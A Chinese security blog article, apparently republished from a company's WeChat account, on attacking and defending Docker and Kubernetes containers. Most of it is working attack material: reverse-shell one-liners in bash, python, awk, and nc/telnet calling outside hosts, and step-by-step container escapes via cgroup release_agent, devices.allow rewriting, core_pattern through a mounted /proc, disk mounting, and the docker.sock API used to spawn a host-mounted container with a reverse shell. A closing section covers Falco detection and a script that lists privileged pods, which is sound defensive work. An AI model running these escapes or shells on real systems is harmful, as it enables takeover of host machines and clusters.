技术实践|容器安全攻击与防御

admin 2024年1月11日10:33:30评论15 views字数 7354阅读24分30秒阅读模式
01  前言
通过容器可以快速的运行应用、迁移应用、快速集成、快速部署、也提高了系统的资源利用率,因此现在越来越多的企业把应用上云,来达到快速上线应用、方便运维的目的。容器安全也逐渐的重视起来,了解容器相关的攻击手段和如何检测当前企业环境内容器环境是否安全、是否能发现对应的攻击也是重中之重。

02 容器环境判断
攻击者可以通过如下手段来判断当前环境是否在容器环境内。

ls -alh /.dockerenvgrep '/docker' /proc/1/cgroupps auxwhich sudowhich viwhich ssh

如果上面的命令结果中,/.dockerenv文件存在,或者ps命令不存在,就算存在的话,进程数量也很少,sudo vi等命令都不存在的话,可以判断当前环境再容器环境内。

03 容器Capabilities获取
可以通过如下命令获取当前容器Capabilities:

cat /proc/1/status|grep -i capeff
技术实践|容器安全攻击与防御

然后使用capsh解析具体的权限,该命令不用一定在容器中执行:

capsh --decode=00000000a82425fb
技术实践|容器安全攻击与防御

如果具备特权或者sys_admin等权限时,可以尝试逃逸。

04 反弹Shell
当容器被攻陷后,攻击者为了方便对容器进行信息收集、命令执行、提权逃逸等动作,常常会使用反弹Shell技术来获取一个半交互式Shell或者全交互式Shell。

下面将介绍下常用的反弹Shell命令。

◎bash

/bin/bash -i > /dev/tcp/1.1.1.1/2222 0<&1 2>&1 

◎python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

◎awk

awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
05 容器逃逸
Docker容器和宿主机之间利用namespace、cgroups等技术实现了环境隔离,如果当攻击者获取到了容器权限,常常可控的资源比较少,因此为了获取更多的权限,攻击者常常会使用容器逃逸技术来获取宿主机权限。

下面将介绍下常见的逃逸手段,主要是一些配置不当导致的安全风险。

◎使用特权容器挂载cgroup目录进行逃逸

当容器存在特权时,攻击者可以通过将宿主机cgroup目录挂载到容器内,随后劫持宿主机cgroup的release_agent文件,通过linux cgroup notify_on_release机制触发Shell命令执行,完成逃逸动作。
本地也可以使用以下命令进行容器启动模拟:

docker run -it --rm --privileged tomcat bash

●攻击过程如下:

1、首先创建一个目录:

mkdir /tmp/cgrp_test

2、挂载/tmp/cgrp_test:

mount -t cgroup -o memory cgroup /tmp/cgrp_test

3、创建/tmp/cgrp_test/目录:

mkdir /tmp/cgrp_test/x

4、写入notify_on_release:

echo 1 > /tmp/cgrp_test/x/notify_on_release

5、获取容器文件系统在宿主机上的位置(host_path):

host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`

6、在release_agent写入存放命令的文件,后续会执行这个文件中的命令:

echo "$host_path/cmd" > /tmp/cgrp_test/release_agent

7、生成命令并把命令写入到上面文件中

echo '#!/bin/sh' > /cmdecho "ps aux > $host_path/output" >> /cmdchmod +x /cmd

8、通过linux cgroup notify_on_release机制触发Shell命令执行

sh -c "echo $$ > /tmp/cgrp_test/x/cgroup.procs"

可以成功在容器中看到宿主机的进程:

◎利用lxcfs cgroup重写devices.allow逃逸

当容器内挂载了lxcfs文件系统时,攻击者可以通过重写devices.allow进行逃逸。

●首先在宿主机上模拟启动一个lxcfs文件系统,并挂载到容器中:

1、创建目录拿来创建文件系统:

mkdir /tmp/lxcfs_test

2、启动lxcfs:

/usr/bin/lxcfs /tmp/lxcfs_test
技术实践|容器安全攻击与防御

3、挂载

docker run -it --rm  -v /tmp/lxcfs_test:/tmp/lxcfs_test tomcat bash

当容器被控时,可以通过如下命令判断是否挂载lxcfs文件系统:

mount|grep lxcfs
技术实践|容器安全攻击与防御

●如果存在lxcfs文件系统的挂载,可通过如下手法进行逃逸:

1、从磁盘挂载信息中查看/etc/hosts文件的挂载信息,得到主设备号:

技术实践|容器安全攻击与防御

2、从磁盘挂载信息中获取挂载进来的lxcfs路径

技术实践|容器安全攻击与防御

3、寻找容器cgroup在挂载进来的lxcfs中的路径:

技术实践|容器安全攻击与防御

把挂载进来的lxcfs路径和获取的值拼接即可:

技术实践|容器安全攻击与防御

4、修改devices.allow,允许容器内的进程访问宿主机上的所有设备:

echo a > /tmp/lxcfs_test/cgroup/devices/docker/f7930068dbe05633461965b461f31f169da143b0105dc48d224a232363f48f81/devices.allow

5、查看devices.list,一般是a *:* rwm,代表允许所有设备类型和设备访问,则可以根据上述获取的设备号创建设备文件:

mknod host_test b 253 0

6、然后利用利用debugfs访问设备文件即可:

debugfs host_test

技术实践|容器安全攻击与防御

但是注意的是,有些同学会遇到此类报错:

host_test contains a xfs file system

技术实践|容器安全攻击与防御

这是因为文件系统类型为xfs时需要mount权限,需要–cap-add=SYS_ADMIN权限。

◎利用SYS_ADMIN权限重写devices.allow逃逸

当容器具备SYS_ADMIN权限时,攻击者通过重写devices.allow进行逃逸。
本地也可以使用以下命令进行容器启动模拟:

docker run -it --rm --cap-add SYS_ADMIN tomcat bash

●逃逸过程如下:

1、创建/tmp/test目录:

mkdir /tmp/test

2、挂载/tmp/test目录:

mount -t cgroup -o devices devices /tmp/test

3、和lxcfs类似,修改devices.allow,允许容器内的进程访问宿主机上的所有设备:

echo a > devices.allow

4、利用mknod创建文件系统

mknod host_test b 253 0

5、上面提到,因为文件系统类型为xfs时无法使用debugfs,所以我们可以尝试另一种办法,直接挂载即可:

mount host_test /tmp/host_host

技术实践|容器安全攻击与防御

◎Procfs挂载目录挂载逃逸

在容器挂载了宿主机proc目录时,攻击者可以将恶意命令写入到宿主机proc目录中的/sys/kernel/core_pattern文件,在容器空间通过segment fault触发core dump,进而进行逃逸。
本地也可以使用以下命令进行容器启动模拟:

docker run -it --rm  -v /proc:/host_proc tomcat bash

●逃逸过程如下:

1、获取容器文件系统在宿主机上的路径:

host_path=`sed -n 's/.*perdir=([^,]*).*/1/p' /etc/mtab`

2、往容器中的根目录下写准备要执行的命令并赋予执行权限:

echo '#!/bin/bash' > /cmd.sh
echo 'touch /tmp/escape_test' >> /cmd.sh
chmod +x /cmd.sh

3、往在容器中挂载进来的/proc/sys/kernel/core_pattern写要让宿主机奔溃后执行的命令

echo "|$host_path/cmd.sh" > /host_proc/sys/kernel/core_pattern

4、触发段错误执行/cmd文件,可以看到宿主机/tmp目录成功创建了文件:

技术实践|容器安全攻击与防御

◎使用特权容器挂载磁盘进行逃逸

当容器存在特权时,攻击者可以通过将宿主机的物理磁盘挂载到容器中,从而使容器中可以编辑宿主机文件,完成逃逸。
本地也可以使用以下命令进行容器启动模拟:

docker run -it --rm --privileged tomcat bash

●攻击过程如下:

1、创建目录,准备拿来挂载:

mkdir /tmp/test

2、获取设备文件并挂载,可以看到成功访问宿主机根目录:

技术实践|容器安全攻击与防御

◎通过docker.sock逃逸

Docker守护程序使用Unix套接字(Unix socket)作为与客户端的通信接口。这个Unix套接字通常位于/var/run/docker.sock文件中。当在容器内挂载了宿主机的docker.sock套接字时,容器内的进程就可以通过这个套接字直接与宿主机上的Docker守护程序通信,从而可以执行宿主机上的Docker命令和操作宿主机上的Docker容器,从而进行逃逸。

在云厂商中,为了方便进行CICD和一些微服务的使用,常常也会出现该风险。

本地也可以使用以下命令进行容器启动模拟:

docker run -it --rm -v /var/run/docker.sock:/var/run/docker.sock tomcat bash

●攻击过程如下:
1、判断/var/run/docker.sock是否可用:

curl -s --unix-socket /var/run/docker.sock http://localhost/version

技术实践|容器安全攻击与防御

2、创建一个挂载根目录的容器。注意,使用的镜像得存在:

curl --unix-socket /var/run/docker.sock -X POST -H "Content-Type: application/json" -d '{"Image": "tomcat", "HostConfig": {"Binds": ["/:/host_root"]}}' http://localhost/containers/create

得到容器id:

技术实践|容器安全攻击与防御

3、根据容器id启动容器:

curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/543853e32064dea9f21b888e422f04142d9198a2f95ec1393f52db67ff986918/start

在宿主机上可以看到有新的容器产生,进入到新容器中,也能看到在容器中的host_root目录挂载了宿主机根目录:

技术实践|容器安全攻击与防御

4、当然,真实的环境中我们不可能在宿主机上去执行命令,那么可以继续在创建的容器中执行反弹Shell命令,来达到进入新容器中的目的。
创建反弹Shell命令:

curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/543853e32064dea9f21b888e422f04142d9198a2f95ec1393f52db67ff986918/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/1.1.1.1/2333 0>&1"]}'

获取到exec id:

技术实践|容器安全攻击与防御

5、启动exec:

curl --unix-socket /var/run/docker.sock -X POST http://localhost/exec/dceae335a96ca9d489b0b6c587f4886b35254af4b7dfbc3cf9287c6f7ede4b9c/start

反弹Shell成功,也能看到挂载进来的宿主机根目录:

技术实践|容器安全攻击与防御

◎CVE-2019-14271

该漏洞影响docker版本等于19.03.0,当宿主机使用docker cp命令从容器中复制文件出来时,会加载容器中的/lib/x86_64-linux-gnu/libnss_files.so.2恶意加载库,因此攻击者将容器中的/lib/x86_64-linux-gnu/libnss_files.so.2文件替换成恶意加载库,即可进行逃逸。

这里启动一个已经替换了的/lib/x86_64-linux-gnu/libnss_files.so.2文件的容器:

技术实践|容器安全攻击与防御

准备执行的恶意命令为在宿主机根目录touch /evil文件
在宿主机上尝试docker cp时,成功触发漏洞:

技术实践|容器安全攻击与防御

◎cdk的一些小问题

在进行容器攻击时,大家或多或少的都会接触cdk该款工具,但是我在测试中,发现该工具存在一些小问题,比如在一些攻击代码中,使用了mount命令来进行挂载,但是容器中有可能不存在mount命令从而导致攻击失败:

技术实践|容器安全攻击与防御

还有针对设备节点的获取错误问题,以特权容器挂载磁盘逃逸为例,我们使用cdk进行逃逸,发现逃逸失败了:

技术实践|容器安全攻击与防御

通过分析代码,发现是因为他获取的设备节点存在问题,他使用了disk.Partitions(false)函数获取系统的所有磁盘分区信息:

技术实践|容器安全攻击与防御

但是该函数并不能获取到LVM的分区,导致了工具的利用失败。

06 检测方案

◎监控反弹Shell行为

上面章节介绍了容器内的反弹Shell命令,那如何检测反弹Shell行为也是甲方安全的一大重点方向,下面我将介绍使用Falco完成反弹Shell的检测。

首先我们进入到容器中进行反弹Shell:

技术实践|容器安全攻击与防御

发现Falco成功检测到了该反弹Shell行为:

技术实践|容器安全攻击与防御

那么Falco如何检测到行为的呢,我们根据规则能看到是根据fd文件描述符进行的匹配:

技术实践|容器安全攻击与防御

我们继续看下不同反弹Shell的描述符情况,看看啥特性或者共性:

bash -i >& /dev/tcp/1.1.1.1/10000 0>&1

技术实践|容器安全攻击与防御

python -c 'import sys,socket,os,pty;s=socket.socket();s.connect(("yourip",yourport));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

技术实践|容器安全攻击与防御

TF=$(mktemp -u); mkfifo $TF && telnet 127.0.0.1 1337 0<$TF | /bin/sh 1>$TF

技术实践|容器安全攻击与防御

rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 114.67.110.37 10000 >/tmp/f

技术实践|容器安全攻击与防御

根据上面的反弹Shell行为,发现有几个特性,或者说共性:

fd有对外的socket连接,且fd.num不超过3

fd有pipe管道,且fd.num不超过4

fd.255是/dev/tty

根据综上所述,可以编写对应的规则来完善Falco,规则的编写这里就不展开讲了,欢迎读者亲自去体验。

◎发现配置不当的容器

上面章节介绍的逃逸动作,很多都是因为配置不当导致的安全风险,比如配置了过多的Capabilities,那我们是否可以发现这些配置不当的容器呢,答案当然是可以的。

●这里以K8s为例,首先我们创建一个具备特权的pod:

apiVersion: v1
kind: Pod
metadata:
name: zqa-target-privileged-pod
labels:
app: zqa-target-privileged-pod
spec:
containers:
- name: zqa-target-privileged-container
image: busybox:latest
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
command: [ "sh", "-c", "sleep 1h" ]

技术实践|容器安全攻击与防御

然后通过kubeconfig来发现存在特权的容器,代码如下:

#coding:utf-8
#author:Jumbo
from kubernetes import client, config

config.load_kube_config(config_file="/tmp/kubeconfig")

v1 = client.CoreV1Api()
ret = v1.list_pod_for_all_namespaces(watch=False)
for i in ret.items:
print("%st%st%s" % (i.status.pod_ip, i.metadata.namespace, i.metadata.name))
for container in i.spec.containers:
if container.security_context and container.security_context.privileged:
print(f"{i.metadata.name}存在特权容器")

成功发现了该特权容器:

技术实践|容器安全攻击与防御

07 总结
本文介绍了容器相关的攻击技术和检测方案,相关的技术手段也已经在公司产品(离朱)上实现,欢迎大家体验。

 

原文始发于微信公众号(知其安科技):技术实践|容器安全攻击与防御

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日10:33:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   技术实践|容器安全攻击与防御http://cn-sec.com/archives/2245598.html

发表评论

匿名网友 填写信息